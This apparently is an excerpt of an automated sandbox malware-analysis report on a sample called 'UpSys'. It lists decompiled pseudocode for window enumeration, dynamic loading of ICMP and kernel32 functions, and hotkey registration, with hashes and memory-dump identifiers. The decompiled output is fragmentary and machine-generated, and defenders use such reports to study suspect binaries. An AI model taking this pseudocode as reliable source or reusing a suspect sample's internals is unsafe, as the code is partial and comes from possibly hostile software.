                                                                                                                                                                                                        • Instruction Fuzzy Hash: 0C315E3660468086E761DF16F444B9BB7A1F79C7D4F509615EB9A43B68CB39C885CF00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400728C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 52%
                                                                                                                                                                                                        			E000000011400728C0(void* __ecx, void* __edx, void* __eflags, long long __rax, long long __rbx, void* __rcx, long long __rdx, long long __rsi, long long __rbp, void* __r8, void* __r9, long long _a8, long long _a16, long long _a24) {
				void* _v8;
				char _v536;
				void* __rdi;
				long long _t42;
				void* _t68;
				long long _t70;
				void* _t73;

				_t42 = __rax;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t70 = __rdx;
				_t68 = __rcx;
				_t73 = __r8;
				E000000011400107E0(__rax, __r8, 0x4009b6c0, __rcx);
				r8b = 1;
				E000000011400433D0(_t70);
				GetFocus();
				 *((long long*)(_t68 + 0x1a8)) = _t42;
				if (_t42 == 0) goto 0x400729c0;
				if (E00000001140043450(_t42, _t42, _t70) == 0) goto 0x400729c0;
				E0000000114005AFB0(_t42, __rbx, _t68,  *((intOrPtr*)(_t68 + 0x1a8)), _t70);
				r8d = 0x100;
				 *((long long*)(_t68 + 0x1a0)) = _t70;
				GetClassNameW(??, ??, ??);
				E000000011400107E0(_t42, _t68 + 0x118,  &_v536, _t68);
				 *(_t68 + 0x238) =  *(_t68 + 0x238) & 0x00000000;
				EnumChildWindows(??, ??, ??);
				r9d =  *(_t68 + 0x238);
				E000000011400178DC(_t42,  &_v536, L"%s%d",  *((intOrPtr*)(_t68 + 0x118)), __r9);
				E000000011400107E0(_t42, _t73,  &_v536, _t68);
				r8d = 0;
				E000000011400433D0(_t70);
				goto 0x400729cd;
				r8d = 0;
				E000000011400433D0(_t70);
				return 0;
			}










                                                                                                                                                                                                        0x1400728c0
                                                                                                                                                                                                        0x1400728c0
                                                                                                                                                                                                        0x1400728c5
                                                                                                                                                                                                        0x1400728ca
                                                                                                                                                                                                        0x1400728d7
                                                                                                                                                                                                        0x1400728da
                                                                                                                                                                                                        0x1400728e7
                                                                                                                                                                                                        0x1400728ea
                                                                                                                                                                                                        0x1400728ef
                                                                                                                                                                                                        0x1400728f8
                                                                                                                                                                                                        0x1400728fd
                                                                                                                                                                                                        0x140072906
                                                                                                                                                                                                        0x140072910
                                                                                                                                                                                                        0x140072926
                                                                                                                                                                                                        0x140072933
                                                                                                                                                                                                        0x140072944
                                                                                                                                                                                                        0x14007294a
                                                                                                                                                                                                        0x140072951
                                                                                                                                                                                                        0x140072963
                                                                                                                                                                                                        0x140072968
                                                                                                                                                                                                        0x14007297c
                                                                                                                                                                                                        0x140072982
                                                                                                                                                                                                        0x14007299c
                                                                                                                                                                                                        0x1400729a9
                                                                                                                                                                                                        0x1400729ae
                                                                                                                                                                                                        0x1400729b7
                                                                                                                                                                                                        0x1400729be
                                                                                                                                                                                                        0x1400729c0
                                                                                                                                                                                                        0x1400729c6
                                                                                                                                                                                                        0x1400729e5

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$CurrentProcessWindow$AttachChildClassEnumFocusInputMessageNameParentSendTimeoutWindows_errno
                                                                                                                                                                                                        • String ID: %s%d
                                                                                                                                                                                                        • API String ID: 1136666990-1110647743
                                                                                                                                                                                                        • Opcode ID: f5689fa5a4b4c4d981102d8984c1e3ab7544fc5cbe38a137b3bd63dbaeb91680
                                                                                                                                                                                                        • Instruction ID: b2ac055eb3446ad2cdb0935ecc228f1acf8307d2edd75f4ae2a289f4b2cd86a2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f5689fa5a4b4c4d981102d8984c1e3ab7544fc5cbe38a137b3bd63dbaeb91680
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C6218876304B84A2EA5A9B23E5447DE6321F749BC0F404021FF980BBAADF38C256C790
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003E170 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: ICMP.DLL$IcmpSendEcho
                                                                                                                                                                                                        • API String ID: 2574300362-58917771
                                                                                                                                                                                                        • Opcode ID: 5923ca97759022a6249714fa732d3c81def423a7a13db492de3397f610ca60b6
                                                                                                                                                                                                        • Instruction ID: c75d2d042cce6ec51320cc105ed945fbf47b9259ec669e953ec13cc7e6359b2c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5923ca97759022a6249714fa732d3c81def423a7a13db492de3397f610ca60b6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E2E0B672602F4182FF17CB66F8547E523A0A76CB94F580624EA590B3B0EF78C5EA8740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003E1B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: ICMP.DLL$IcmpCloseHandle
                                                                                                                                                                                                        • API String ID: 2574300362-3530519716
                                                                                                                                                                                                        • Opcode ID: 4f3c8bdd923518876541eb072bee72bbfec1410e0f6f337f7524a34d42aabfec
                                                                                                                                                                                                        • Instruction ID: 5a8163f5701001d97f40f4ab4110abd783d41913e2a304c69f716e12e57626da
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4f3c8bdd923518876541eb072bee72bbfec1410e0f6f337f7524a34d42aabfec
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A5E0B676602F4181EF17CB67E454BD523A0A7ACB94F480624EE59073B0EF78C6A98740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003E1F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: ICMP.DLL$IcmpCreateFile
                                                                                                                                                                                                        • API String ID: 2574300362-275556492
                                                                                                                                                                                                        • Opcode ID: 26cae91731673a2e2088126f59315725d844928adbef006be29deeed910a8b0a
                                                                                                                                                                                                        • Instruction ID: a5723248ace006e0097a43b9325040265ec7b806714a7209be736999dd2db8a7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 26cae91731673a2e2088126f59315725d844928adbef006be29deeed910a8b0a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F2E04632602F4081EF17CB67F4147D523E4A76CB94F480A20EB18073B0EF78C1A98700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400425B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: GetNativeSystemInfo$kernel32.dll
                                                                                                                                                                                                        • API String ID: 2574300362-192647395
                                                                                                                                                                                                        • Opcode ID: 477848597d23782a8873237fa132224f41a3ff3a59086ac53b0cbeaca767025d
                                                                                                                                                                                                        • Instruction ID: c72025b405758dc222db297b8d14e1177f9478fb2e744c535ee18fa764dda279
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 477848597d23782a8873237fa132224f41a3ff3a59086ac53b0cbeaca767025d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6EE0B671606F0181EF169B67E8643D422A0AB5CB94F850424EA5907370EF79C6998308
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140013B40 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AddressLibraryLoadProc
                                                                                                                                                                                                        • String ID: IsWow64Process$kernel32.dll
                                                                                                                                                                                                        • API String ID: 2574300362-3024904723
                                                                                                                                                                                                        • Opcode ID: fa9e47bc07998fb96595bf7b0838b79b982d3a69689bd184c3f25577c90d1ec8
                                                                                                                                                                                                        • Instruction ID: ab8bc4cb21bc1488b87333de8b5c4654ec19b8be8f179b04c83890ee61c4da20
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fa9e47bc07998fb96595bf7b0838b79b982d3a69689bd184c3f25577c90d1ec8
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 12E0E571606F0182EE168B0AE84439432A0F74CB94F840625EB9C07364EF7CC1558340
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007F480 Relevance: 6.2, APIs: 4, Instructions: 231COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 65%
                                                                                                                                                                                                        			E0000000114007F480(signed int __ebx, void* __ecx, void* __edx, void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, signed int* __r8, long long _a8, signed long long _a16, char _a32) {
				char _v88;
				char _v96;
				signed int _v100;
				char _v103;
				char _v104;
				long long _v120;
				long long _v128;
				signed long long _v136;
				void* __rsi;
				void* _t92;
				void* _t99;
				void* _t104;
				signed int _t113;
				signed long long _t164;
				intOrPtr* _t165;
				signed long long _t167;
				signed long long _t171;
				signed long long _t185;
				intOrPtr _t200;
				signed int* _t237;
				intOrPtr* _t238;
				char* _t243;
				char* _t248;
				intOrPtr _t253;
				signed long long _t255;
				void* _t256;
				signed long long _t257;
				signed long long _t258;

				_t183 = __rbx;
				_t113 = __ebx;
				_a8 = __rbx;
				_t253 =  *((intOrPtr*)(__rdx + 0x10));
				_t237 = __r8;
				_t256 = __rdx;
				_t238 = __rcx;
				if (_t253 - 2 < 0) goto 0x4007f514;
				E00000001140062190( *((intOrPtr*)(__rdx + 8)),  *((intOrPtr*)( *((intOrPtr*)(__rdx + 8)) + 8)));
				_t243 =  &_v96;
				_v128 =  &_a16;
				_v136 =  &_a32;
				if (E00000001140076AD0(__ecx, __edx, _t253 - 2,  &_a32, __rbx, __rcx,  *((intOrPtr*)(__rdx + 8)), __rcx, _t243,  &_v100) != 0) goto 0x4007f514;
				E00000001140007A40(_t183, __r8, _t238);
				 *__r8 =  *__r8 & 0x00000000;
				__r8[2] = 1;
				r8d = 0;
				_t13 = _t243 + 1; // 0x1
				E0000000114000FCA0(_t13,  *_t238, _t183,  *((intOrPtr*)( *_t238 + 4)) + _t238, _t238);
				goto 0x4007f7fc;
				E00000001140062190( *((intOrPtr*)(_t256 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t256 + 8)))));
				E00000001140001D30( *((intOrPtr*)(_t256 + 8)), _t183,  &_v88,  *((intOrPtr*)(_t256 + 8)));
				_v120 =  &_v103;
				_t248 =  &_a32;
				_v128 =  &_v104;
				_t164 =  &_a16;
				_v136 = _t164;
				_t92 = E0000000114007AF00(_t164, _t183, _t238 + 0x110,  &_v88,  &_v100, _t248);
				E00000001140002610(_t92, _t183,  &_v88);
				r9d = 0;
				if ((_t113 & 0xffffff00 | _t92 == 0x00000000) != r9b) goto 0x4007f7ea;
				r13d = _v100;
				if (r13d != 0x13) goto 0x4007f5a4;
				_t31 = _t248 + 3; // 0x3
				r13d =  !=  ? _t31 : r13d;
				_t127 =  !=  ? 4 : r9d;
				if (_a16 == r9b) goto 0x4007f5bf;
				_t128 = ( !=  ? 4 : r9d) | 0x00000002;
				if (_v104 == r9b) goto 0x4007f5c9;
				_t129 = ( !=  ? 4 : r9d) | 3;
				if (_v103 == r9b) goto 0x4007f5d3;
				_t130 = ( !=  ? 4 : r9d) | 0xb;
				_t200 =  *((intOrPtr*)(_t238 + 0x308));
				r15d = r13d;
				r15d = r15d << 0x10;
				_t258 = _t257 | _t164;
				if (_t200 - _t248 <= 0) goto 0x4007f615;
				_t165 =  *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x300))));
				if ( *_t165 == _t248) goto 0x4007f609;
				if ( *((intOrPtr*)( *_t165 + 8)) == _t258) goto 0x4007f670;
				_t185 = _t248 + 1;
				if (_t185 - _t200 < 0) goto 0x4007f5f8;
				if (_t253 == 1) goto 0x4007f7ea;
				if (_t200 - _t248 <= 0) goto 0x4007f642;
				_t167 =  *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x300))));
				if ( *_t167 == _t248) goto 0x4007f642;
				_t255 = _t248 + 1;
				if (_t255 - _t200 < 0) goto 0x4007f62e;
				if (_t255 != _t200) goto 0x4007f6ff;
				E00000001140016ED8(_t167, _t200);
				if (_t167 == 0) goto 0x4007f6e0;
				E00000001140058400(_t167, _t167);
				_a16 = _t167;
				goto 0x4007f6e9;
				if (_t255 != 1) goto 0x4007f6bb;
				UnregisterHotKey(??, ??);
				if ( *( *( *((intOrPtr*)(_t238 + 0x300)) + _t185 * 8)) == 0) goto 0x4007f6a7;
				_t99 = E0000000114004F470( *( *((intOrPtr*)(_t238 + 0x300)) + _t185 * 8),  *( *( *((intOrPtr*)(_t238 + 0x300)) + _t185 * 8)));
				 *( *( *((intOrPtr*)(_t238 + 0x300)) + _t185 * 8)) =  *( *( *((intOrPtr*)(_t238 + 0x300)) + _t185 * 8)) & 0x00000000;
				goto 0x4007f7fc;
				_t171 =  *((intOrPtr*)(_t256 + 8));
				E00000001140011960(_t99,  *((intOrPtr*)(_t171 + 8)));
				E00000001140012600( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x300)) + 8 + _t185 * 8)))) + 0x10, _t171);
				goto 0x4007f7fc;
				_a16 = _a16 & 0x00000000;
				E0000000114003E0C0(0x50, _t171,  *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x300)) + 8 + _t185 * 8)), _t238 + 0x2f8,  &_a16, _t238);
				goto 0x4007f727;
				E00000001140016ED8(_t171, _t238 + 0x2f8);
				if (_t171 == 0) goto 0x4007f716;
				_t104 = E00000001140058400(_t171, _t171);
				goto 0x4007f719;
				r11d = 0;
				 *( *( *((intOrPtr*)(_t238 + 0x300)) + _t255 * 8)) = _t171;
				 *( *( *( *((intOrPtr*)(_t238 + 0x300)) + _t255 * 8))) = _t255;
				 *( *( *( *((intOrPtr*)(_t238 + 0x300)) + _t255 * 8)) + 8) = _t258;
				E00000001140011960(_t104,  *((intOrPtr*)( *((intOrPtr*)(_t256 + 8)) + 8)));
				E00000001140011960(E00000001140012600( *( *( *((intOrPtr*)(_t238 + 0x300)) + _t255 * 8)) + 0x10,  *((intOrPtr*)(_t238 + 0x300))),  *((intOrPtr*)( *((intOrPtr*)(_t256 + 8)))));
				E00000001140012600( *( *( *((intOrPtr*)(_t238 + 0x300)) + _t255 * 8)) + 0x30,  *((intOrPtr*)(_t238 + 0x300)));
				r9d = r13d;
				r8d = ( !=  ? 4 : r9d) | 0xb;
				if (RegisterHotKey(??, ??, ??, ??) != 0) goto 0x4007f7fc;
				if ( *( *( *((intOrPtr*)(_t238 + 0x300)) + _t255 * 8)) == 0) goto 0x4007f7db;
				E0000000114004F470( *((intOrPtr*)(_t238 + 0x300)),  *( *( *((intOrPtr*)(_t238 + 0x300)) + _t255 * 8)));
				 *( *( *((intOrPtr*)(_t238 + 0x300)) + _t255 * 8)) =  *( *( *((intOrPtr*)(_t238 + 0x300)) + _t255 * 8)) & 0x00000000;
				E00000001140007A40( *( *((intOrPtr*)(_t238 + 0x300)) + _t255 * 8), _t237, _t238);
				 *_t237 =  *_t237 & 0x00000000;
				_t237[2] = 1;
				return 0;
			}































                                                                                                                                                                                                        0x14007f480
                                                                                                                                                                                                        0x14007f480
                                                                                                                                                                                                        0x14007f480
                                                                                                                                                                                                        0x14007f494
                                                                                                                                                                                                        0x14007f498
                                                                                                                                                                                                        0x14007f49b
                                                                                                                                                                                                        0x14007f49e
                                                                                                                                                                                                        0x14007f4a5
                                                                                                                                                                                                        0x14007f4af
                                                                                                                                                                                                        0x14007f4b9
                                                                                                                                                                                                        0x14007f4cc
                                                                                                                                                                                                        0x14007f4d9
                                                                                                                                                                                                        0x14007f4e5
                                                                                                                                                                                                        0x14007f4ea
                                                                                                                                                                                                        0x14007f4ef
                                                                                                                                                                                                        0x14007f4f2
                                                                                                                                                                                                        0x14007f4fc
                                                                                                                                                                                                        0x14007f503
                                                                                                                                                                                                        0x14007f50a
                                                                                                                                                                                                        0x14007f50f
                                                                                                                                                                                                        0x14007f51b
                                                                                                                                                                                                        0x14007f528
                                                                                                                                                                                                        0x14007f539
                                                                                                                                                                                                        0x14007f543
                                                                                                                                                                                                        0x14007f54b
                                                                                                                                                                                                        0x14007f550
                                                                                                                                                                                                        0x14007f562
                                                                                                                                                                                                        0x14007f567
                                                                                                                                                                                                        0x14007f576
                                                                                                                                                                                                        0x14007f57b
                                                                                                                                                                                                        0x14007f581
                                                                                                                                                                                                        0x14007f587
                                                                                                                                                                                                        0x14007f597
                                                                                                                                                                                                        0x14007f599
                                                                                                                                                                                                        0x14007f5a0
                                                                                                                                                                                                        0x14007f5b4
                                                                                                                                                                                                        0x14007f5ba
                                                                                                                                                                                                        0x14007f5bc
                                                                                                                                                                                                        0x14007f5c4
                                                                                                                                                                                                        0x14007f5c6
                                                                                                                                                                                                        0x14007f5ce
                                                                                                                                                                                                        0x14007f5d0
                                                                                                                                                                                                        0x14007f5d3
                                                                                                                                                                                                        0x14007f5da
                                                                                                                                                                                                        0x14007f5df
                                                                                                                                                                                                        0x14007f5e6
                                                                                                                                                                                                        0x14007f5ec
                                                                                                                                                                                                        0x14007f5f8
                                                                                                                                                                                                        0x14007f5fe
                                                                                                                                                                                                        0x14007f607
                                                                                                                                                                                                        0x14007f609
                                                                                                                                                                                                        0x14007f613
                                                                                                                                                                                                        0x14007f619
                                                                                                                                                                                                        0x14007f625
                                                                                                                                                                                                        0x14007f62e
                                                                                                                                                                                                        0x14007f634
                                                                                                                                                                                                        0x14007f636
                                                                                                                                                                                                        0x14007f640
                                                                                                                                                                                                        0x14007f64a
                                                                                                                                                                                                        0x14007f650
                                                                                                                                                                                                        0x14007f658
                                                                                                                                                                                                        0x14007f661
                                                                                                                                                                                                        0x14007f666
                                                                                                                                                                                                        0x14007f66e
                                                                                                                                                                                                        0x14007f674
                                                                                                                                                                                                        0x14007f686
                                                                                                                                                                                                        0x14007f69d
                                                                                                                                                                                                        0x14007f6a2
                                                                                                                                                                                                        0x14007f6b2
                                                                                                                                                                                                        0x14007f6b6
                                                                                                                                                                                                        0x14007f6bb
                                                                                                                                                                                                        0x14007f6c7
                                                                                                                                                                                                        0x14007f6d6
                                                                                                                                                                                                        0x14007f6db
                                                                                                                                                                                                        0x14007f6e0
                                                                                                                                                                                                        0x14007f6f8
                                                                                                                                                                                                        0x14007f6fd
                                                                                                                                                                                                        0x14007f6ff
                                                                                                                                                                                                        0x14007f707
                                                                                                                                                                                                        0x14007f70c
                                                                                                                                                                                                        0x14007f714
                                                                                                                                                                                                        0x14007f716
                                                                                                                                                                                                        0x14007f724
                                                                                                                                                                                                        0x14007f735
                                                                                                                                                                                                        0x14007f746
                                                                                                                                                                                                        0x14007f75d
                                                                                                                                                                                                        0x14007f783
                                                                                                                                                                                                        0x14007f792
                                                                                                                                                                                                        0x14007f79e
                                                                                                                                                                                                        0x14007f7a5
                                                                                                                                                                                                        0x14007f7bc
                                                                                                                                                                                                        0x14007f7cf
                                                                                                                                                                                                        0x14007f7d6
                                                                                                                                                                                                        0x14007f7e6
                                                                                                                                                                                                        0x14007f7ed
                                                                                                                                                                                                        0x14007f7f2
                                                                                                                                                                                                        0x14007f7f5
                                                                                                                                                                                                        0x14007f815

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
